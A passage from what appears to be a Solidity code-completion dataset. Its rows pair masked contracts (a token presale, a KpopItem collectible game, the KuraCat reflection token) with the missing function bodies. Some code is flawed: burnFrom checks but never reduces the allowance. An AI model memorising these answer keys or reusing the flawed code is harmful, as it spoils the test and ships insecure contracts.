tokensSold1 = tokensSold1.add(tokens1); // Increment raised amount
remainingTokens1 = presale1.sub(tokensSold1);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens1);
emit Transfer(address(this), msg.sender, tokens1);
owner.transfer(weiAmount);// Send money to owner
}
if (currentStage == Stages.presale2Start)
{
require(currentStage == Stages.presale2Start);
require(remainingTokens2 > 0);
if(tokensSold2.add(tokens2) > presale2){
uint256 newTokens2 = presale2.sub(tokensSold2);
uint256 newWei2 = newTokens2.div(presale2Price).mul(1 ether);
returnWei = weiAmount.sub(newWei2);
weiAmount = newWei2;
tokens2 = newTokens2;
}
tokensSold2 = tokensSold2.add(tokens2); // Increment raised amount
remainingTokens2 = presale2.sub(tokensSold2);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens2);
emit Transfer(address(this), msg.sender, tokens2);
owner.transfer(weiAmount);// Send money to owner
}
if (currentStage == Stages.presale3Start)
{
require(currentStage == Stages.presale3Start);
require(remainingTokens3 > 0);
if(tokensSold3.add(tokens3) > presale3){
uint256 newTokens3 = presale3.sub(tokensSold3);
uint256 newWei3 = newTokens3.div(presale3Price).mul(1 ether);
returnWei = weiAmount.sub(newWei3);
weiAmount = newWei3;
tokens3 = newTokens3;
}
tokensSold3 = tokensSold3.add(tokens3); // Increment raised amount
remainingTokens3 = presale3.sub(tokensSold3);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens3);
emit Transfer(address(this), msg.sender, tokens3);
owner.transfer(weiAmount);// Send money to owner
}
}
/**
/**
* @dev startPresale1 starts the public PRESALE1
**/
function startPresale1() public onlyOwner {
require(currentStage != Stages.presale1End);
currentStage = Stages.presale1Start;
}
/**
* @dev endPresale1 closes down the PRESALE1
**/
function endPresale1() internal {
currentStage = Stages.presale1End;
// Transfer any remaining tokens
if(remainingTokens1 > 0)
balances[owner] = balances[owner].add(remainingTokens1);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizePresale1 closes down the PRESALE1 and sets needed varriables
**/
function finalizePresale1() public onlyOwner {
require(currentStage != Stages.presale1End);
endPresale1();
}
/**
* @dev startPresale2 starts the public PRESALE2
**/
function startPresale2() public onlyOwner {
require(currentStage != Stages.presale2End);
currentStage = Stages.presale2Start;
}
/**
* @dev endPresale2 closes down the PRESALE2
**/
function endPresale2() internal {
currentStage = Stages.presale2End;
// Transfer any remaining tokens
if(remainingTokens2 > 0)
balances[owner] = balances[owner].add(remainingTokens2);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizePresale2 closes down the PRESALE2 and sets needed varriables
**/
function finalizePresale2() public onlyOwner {
require(currentStage != Stages.presale2End);
endPresale2();
}
function startPresale3() public onlyOwner {
require(currentStage != Stages.presale3End);
currentStage = Stages.presale3Start;
}
<FILL_FUNCTION>
/**
* @dev finalizePresale3 closes down the PRESALE3 and sets needed varriables
**/
function finalizePresale3() public onlyOwner {
require(currentStage != Stages.presale3End);
endPresale3();
}
function burn(uint256 _value) public returns (bool succes){
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply_ -= _value;
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool succes){
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
totalSupply_ -= _value;
return true;
}
} |
currentStage = Stages.presale3End;
// Transfer any remaining tokens
if(remainingTokens3 > 0)
balances[owner] = balances[owner].add(remainingTokens3);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
| function endPresale3() internal | /**
* @dev endPresale3 closes down the PRESALE3
**/
function endPresale3() internal |
30921 | KpopItem | transferToWinner | contract KpopItem is ERC721 {
address public author;
address public coauthor;
address public manufacturer;
string public constant NAME = "KpopItem";
string public constant SYMBOL = "KpopItem";
uint public GROWTH_BUMP = 0.4 ether;
uint public MIN_STARTING_PRICE = 0.001 ether;
uint public PRICE_INCREASE_SCALE = 120; // 120% of previous price
uint public DIVIDEND = 3;
address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0;
address public KPOP_ARENA_CONTRACT_ADDRESS = 0x0;
struct Item {
string name;
}
Item[] public items;
mapping(uint => address) public itemIdToOwner;
mapping(uint => uint) public itemIdToPrice;
mapping(address => uint) public userToNumItems;
mapping(uint => address) public itemIdToApprovedRecipient;
mapping(uint => uint[6]) public itemIdToTraitValues;
mapping(uint => uint) public itemIdToCelebId;
event Transfer(address indexed from, address indexed to, uint itemId);
event Approval(address indexed owner, address indexed approved, uint itemId);
event ItemSold(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner);
event TransferToWinner(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner);
function KpopItem() public {
author = msg.sender;
coauthor = msg.sender;
}
function _transfer(address _from, address _to, uint _itemId) private {
require(ownerOf(_itemId) == _from);
require(!isNullAddress(_to));
require(balanceOf(_from) > 0);
uint prevBalances = balanceOf(_from) + balanceOf(_to);
itemIdToOwner[_itemId] = _to;
userToNumItems[_from]--;
userToNumItems[_to]++;
delete itemIdToApprovedRecipient[_itemId];
Transfer(_from, _to, _itemId);
assert(balanceOf(_from) + balanceOf(_to) == prevBalances);
}
function buy(uint _itemId) payable public {
address prevOwner = ownerOf(_itemId);
uint currentPrice = itemIdToPrice[_itemId];
require(prevOwner != msg.sender);
require(!isNullAddress(msg.sender));
require(msg.value >= currentPrice);
// Set dividend
uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100));
// Take a cut
uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100));
uint leftover = SafeMath.sub(msg.value, currentPrice);
uint newPrice;
_transfer(prevOwner, msg.sender, _itemId);
if (currentPrice < GROWTH_BUMP) {
newPrice = SafeMath.mul(currentPrice, 2);
} else {
newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100);
}
itemIdToPrice[_itemId] = newPrice;
// Pay the prev owner of the item
if (prevOwner != address(this)) {
prevOwner.transfer(payment);
}
// Pay dividend to the current owner of the celeb that's connected to the item
uint celebId = celebOf(_itemId);
KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS);
address celebOwner = KPOP_CELEB.ownerOf(celebId);
if (celebOwner != address(this) && !isNullAddress(celebOwner)) {
celebOwner.transfer(dividend);
}
ItemSold(_itemId, currentPrice, newPrice,
items[_itemId].name, prevOwner, msg.sender);
msg.sender.transfer(leftover);
}
function balanceOf(address _owner) public view returns (uint balance) {
return userToNumItems[_owner];
}
function ownerOf(uint _itemId) public view returns (address addr) {
return itemIdToOwner[_itemId];
}
function celebOf(uint _itemId) public view returns (uint celebId) {
return itemIdToCelebId[_itemId];
}
function totalSupply() public view returns (uint total) {
return items.length;
}
function transfer(address _to, uint _itemId) public {
_transfer(msg.sender, _to, _itemId);
}
/** START FUNCTIONS FOR AUTHORS **/
function createItem(string _name, uint _price, uint _celebId, uint[6] _traitValues) public onlyManufacturer {
require(_price >= MIN_STARTING_PRICE);
uint itemId = items.push(Item(_name)) - 1;
itemIdToOwner[itemId] = author;
itemIdToPrice[itemId] = _price;
itemIdToCelebId[itemId] = _celebId;
itemIdToTraitValues[itemId] = _traitValues; // TODO: fetch celeb traits later
userToNumItems[author]++;
}
function withdraw(uint _amount, address _to) public onlyAuthors {
require(!isNullAddress(_to));
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawAll() public onlyAuthors {
require(author != 0x0);
require(coauthor != 0x0);
uint halfBalance = uint(SafeMath.div(this.balance, 2));
author.transfer(halfBalance);
coauthor.transfer(halfBalance);
}
function setCoAuthor(address _coauthor) public onlyAuthor {
require(!isNullAddress(_coauthor));
coauthor = _coauthor;
}
function setManufacturer(address _manufacturer) public onlyAuthors {
require(!isNullAddress(_manufacturer));
manufacturer = _manufacturer;
}
/** END FUNCTIONS FOR AUTHORS **/
function getItem(uint _itemId) public view returns (
string name,
uint price,
address owner,
uint[6] traitValues,
uint celebId
) {
name = items[_itemId].name;
price = itemIdToPrice[_itemId];
owner = itemIdToOwner[_itemId];
traitValues = itemIdToTraitValues[_itemId];
celebId = celebOf(_itemId);
}
/** START FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/
function approve(address _to, uint _itemId) public {
require(msg.sender == ownerOf(_itemId));
itemIdToApprovedRecipient[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint _itemId) public {
require(ownerOf(_itemId) == _from);
require(isApproved(_to, _itemId));
require(!isNullAddress(_to));
_transfer(_from, _to, _itemId);
}
function takeOwnership(uint _itemId) public {
require(!isNullAddress(msg.sender));
require(isApproved(msg.sender, _itemId));
address currentOwner = itemIdToOwner[_itemId];
_transfer(currentOwner, msg.sender, _itemId);
}
function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena {<FILL_FUNCTION_BODY> }
/** END FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/
function implementsERC721() public pure returns (bool) {
return true;
}
/** MODIFIERS **/
modifier onlyAuthor() {
require(msg.sender == author);
_;
}
modifier onlyAuthors() {
require(msg.sender == author || msg.sender == coauthor);
_;
}
modifier onlyManufacturer() {
require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer);
_;
}
modifier onlyArena() {
require(msg.sender == KPOP_ARENA_CONTRACT_ADDRESS);
_;
}
/** FUNCTIONS THAT WONT BE USED FREQUENTLY **/
function setMinStartingPrice(uint _price) public onlyAuthors {
MIN_STARTING_PRICE = _price;
}
function setGrowthBump(uint _bump) public onlyAuthors {
GROWTH_BUMP = _bump;
}
function setDividend(uint _dividend) public onlyAuthors {
DIVIDEND = _dividend;
}
function setPriceIncreaseScale(uint _scale) public onlyAuthors {
PRICE_INCREASE_SCALE = _scale;
}
function setKpopCelebContractAddress(address _address) public onlyAuthors {
KPOP_CELEB_CONTRACT_ADDRESS = _address;
}
function setKpopArenaContractAddress(address _address) public onlyAuthors {
KPOP_ARENA_CONTRACT_ADDRESS = _address;
}
/** PRIVATE FUNCTIONS **/
function isApproved(address _to, uint _itemId) private view returns (bool) {
return itemIdToApprovedRecipient[_itemId] == _to;
}
function isNullAddress(address _addr) private pure returns (bool) {
return _addr == 0x0;
}
} | contract KpopItem is ERC721 {
address public author;
address public coauthor;
address public manufacturer;
string public constant NAME = "KpopItem";
string public constant SYMBOL = "KpopItem";
uint public GROWTH_BUMP = 0.4 ether;
uint public MIN_STARTING_PRICE = 0.001 ether;
uint public PRICE_INCREASE_SCALE = 120; // 120% of previous price
uint public DIVIDEND = 3;
address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0;
address public KPOP_ARENA_CONTRACT_ADDRESS = 0x0;
struct Item {
string name;
}
Item[] public items;
mapping(uint => address) public itemIdToOwner;
mapping(uint => uint) public itemIdToPrice;
mapping(address => uint) public userToNumItems;
mapping(uint => address) public itemIdToApprovedRecipient;
mapping(uint => uint[6]) public itemIdToTraitValues;
mapping(uint => uint) public itemIdToCelebId;
event Transfer(address indexed from, address indexed to, uint itemId);
event Approval(address indexed owner, address indexed approved, uint itemId);
event ItemSold(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner);
event TransferToWinner(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner);
function KpopItem() public {
author = msg.sender;
coauthor = msg.sender;
}
function _transfer(address _from, address _to, uint _itemId) private {
require(ownerOf(_itemId) == _from);
require(!isNullAddress(_to));
require(balanceOf(_from) > 0);
uint prevBalances = balanceOf(_from) + balanceOf(_to);
itemIdToOwner[_itemId] = _to;
userToNumItems[_from]--;
userToNumItems[_to]++;
delete itemIdToApprovedRecipient[_itemId];
Transfer(_from, _to, _itemId);
assert(balanceOf(_from) + balanceOf(_to) == prevBalances);
}
function buy(uint _itemId) payable public {
address prevOwner = ownerOf(_itemId);
uint currentPrice = itemIdToPrice[_itemId];
require(prevOwner != msg.sender);
require(!isNullAddress(msg.sender));
require(msg.value >= currentPrice);
// Set dividend
uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100));
// Take a cut
uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100));
uint leftover = SafeMath.sub(msg.value, currentPrice);
uint newPrice;
_transfer(prevOwner, msg.sender, _itemId);
if (currentPrice < GROWTH_BUMP) {
newPrice = SafeMath.mul(currentPrice, 2);
} else {
newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100);
}
itemIdToPrice[_itemId] = newPrice;
// Pay the prev owner of the item
if (prevOwner != address(this)) {
prevOwner.transfer(payment);
}
// Pay dividend to the current owner of the celeb that's connected to the item
uint celebId = celebOf(_itemId);
KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS);
address celebOwner = KPOP_CELEB.ownerOf(celebId);
if (celebOwner != address(this) && !isNullAddress(celebOwner)) {
celebOwner.transfer(dividend);
}
ItemSold(_itemId, currentPrice, newPrice,
items[_itemId].name, prevOwner, msg.sender);
msg.sender.transfer(leftover);
}
function balanceOf(address _owner) public view returns (uint balance) {
return userToNumItems[_owner];
}
function ownerOf(uint _itemId) public view returns (address addr) {
return itemIdToOwner[_itemId];
}
function celebOf(uint _itemId) public view returns (uint celebId) {
return itemIdToCelebId[_itemId];
}
function totalSupply() public view returns (uint total) {
return items.length;
}
function transfer(address _to, uint _itemId) public {
_transfer(msg.sender, _to, _itemId);
}
/** START FUNCTIONS FOR AUTHORS **/
function createItem(string _name, uint _price, uint _celebId, uint[6] _traitValues) public onlyManufacturer {
require(_price >= MIN_STARTING_PRICE);
uint itemId = items.push(Item(_name)) - 1;
itemIdToOwner[itemId] = author;
itemIdToPrice[itemId] = _price;
itemIdToCelebId[itemId] = _celebId;
itemIdToTraitValues[itemId] = _traitValues; // TODO: fetch celeb traits later
userToNumItems[author]++;
}
function withdraw(uint _amount, address _to) public onlyAuthors {
require(!isNullAddress(_to));
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawAll() public onlyAuthors {
require(author != 0x0);
require(coauthor != 0x0);
uint halfBalance = uint(SafeMath.div(this.balance, 2));
author.transfer(halfBalance);
coauthor.transfer(halfBalance);
}
function setCoAuthor(address _coauthor) public onlyAuthor {
require(!isNullAddress(_coauthor));
coauthor = _coauthor;
}
function setManufacturer(address _manufacturer) public onlyAuthors {
require(!isNullAddress(_manufacturer));
manufacturer = _manufacturer;
}
/** END FUNCTIONS FOR AUTHORS **/
function getItem(uint _itemId) public view returns (
string name,
uint price,
address owner,
uint[6] traitValues,
uint celebId
) {
name = items[_itemId].name;
price = itemIdToPrice[_itemId];
owner = itemIdToOwner[_itemId];
traitValues = itemIdToTraitValues[_itemId];
celebId = celebOf(_itemId);
}
/** START FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/
function approve(address _to, uint _itemId) public {
require(msg.sender == ownerOf(_itemId));
itemIdToApprovedRecipient[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint _itemId) public {
require(ownerOf(_itemId) == _from);
require(isApproved(_to, _itemId));
require(!isNullAddress(_to));
_transfer(_from, _to, _itemId);
}
function takeOwnership(uint _itemId) public {
require(!isNullAddress(msg.sender));
require(isApproved(msg.sender, _itemId));
address currentOwner = itemIdToOwner[_itemId];
_transfer(currentOwner, msg.sender, _itemId);
}
<FILL_FUNCTION>
/** END FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/
function implementsERC721() public pure returns (bool) {
return true;
}
/** MODIFIERS **/
modifier onlyAuthor() {
require(msg.sender == author);
_;
}
modifier onlyAuthors() {
require(msg.sender == author || msg.sender == coauthor);
_;
}
modifier onlyManufacturer() {
require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer);
_;
}
modifier onlyArena() {
require(msg.sender == KPOP_ARENA_CONTRACT_ADDRESS);
_;
}
/** FUNCTIONS THAT WONT BE USED FREQUENTLY **/
function setMinStartingPrice(uint _price) public onlyAuthors {
MIN_STARTING_PRICE = _price;
}
function setGrowthBump(uint _bump) public onlyAuthors {
GROWTH_BUMP = _bump;
}
function setDividend(uint _dividend) public onlyAuthors {
DIVIDEND = _dividend;
}
function setPriceIncreaseScale(uint _scale) public onlyAuthors {
PRICE_INCREASE_SCALE = _scale;
}
function setKpopCelebContractAddress(address _address) public onlyAuthors {
KPOP_CELEB_CONTRACT_ADDRESS = _address;
}
function setKpopArenaContractAddress(address _address) public onlyAuthors {
KPOP_ARENA_CONTRACT_ADDRESS = _address;
}
/** PRIVATE FUNCTIONS **/
function isApproved(address _to, uint _itemId) private view returns (bool) {
return itemIdToApprovedRecipient[_itemId] == _to;
}
function isNullAddress(address _addr) private pure returns (bool) {
return _addr == 0x0;
}
} |
require(!isNullAddress(_winner));
require(!isNullAddress(_loser));
require(ownerOf(_itemId) == _loser);
// Reset item price
uint oldPrice = itemIdToPrice[_itemId];
uint newPrice = MIN_STARTING_PRICE;
itemIdToPrice[_itemId] = newPrice;
_transfer(_loser, _winner, _itemId);
TransferToWinner(_itemId, oldPrice, newPrice, items[_itemId].name, _loser, _winner);
| function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena | function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena |
13813 | KuraCat | _transfer | contract KuraCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "KuraCat";
string private constant _symbol = "KURA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761);
_feeAddrWallet2 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5e7 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e9 * 10**9;
}
function blacklistBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract KuraCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "KuraCat";
string private constant _symbol = "KURA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761);
_feeAddrWallet2 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5e7 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e9 * 10**9;
}
function blacklistBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
